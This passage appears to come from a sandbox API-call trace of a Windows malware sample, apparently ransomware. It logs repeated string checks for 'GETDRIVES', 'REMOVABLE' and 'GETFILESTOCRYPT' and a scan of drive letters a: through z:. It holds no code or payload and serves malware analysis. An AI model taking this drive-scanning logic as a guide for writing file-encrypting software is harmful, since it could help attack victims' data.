lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.166] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.166] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.166] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.166] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.166] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.167] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.167] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.167] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.167] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.168] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.168] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.181] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.181] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.181] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.181] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.181] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.181] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.181] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.182] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.182] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.182] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.182] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.182] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.182] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.182] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.183] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.183] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.183] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.183] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.183] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.183] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.183] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.184] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.196] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.196] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.196] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.196] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.197] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.197] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.197] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.197] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.198] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.198] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.198] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.198] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.199] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.199] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.199] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.199] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.199] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.212] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.212] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.213] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.213] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.213] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.213] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.213] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.213] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.213] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.214] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.214] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.214] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.214] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.214] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.214] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.214] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.214] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.215] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.215] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.215] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.215] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.215] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.215] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.215] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.216] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.216] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.216] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.216] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.216] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.216] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.216] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.217] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.217] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.217] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.738] TranslateMessage (lpMsg=0x130f204) returned 0 [0089.738] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0089.739] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0089.742] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0089.743] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.743] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.743] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.743] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.744] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.744] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.744] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.744] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.744] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.744] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.744] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.745] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.745] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.746] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.747] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.747] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.747] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.748] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.748] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.748] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.748] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.748] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.748] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.749] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.749] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.750] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.751] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.752] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 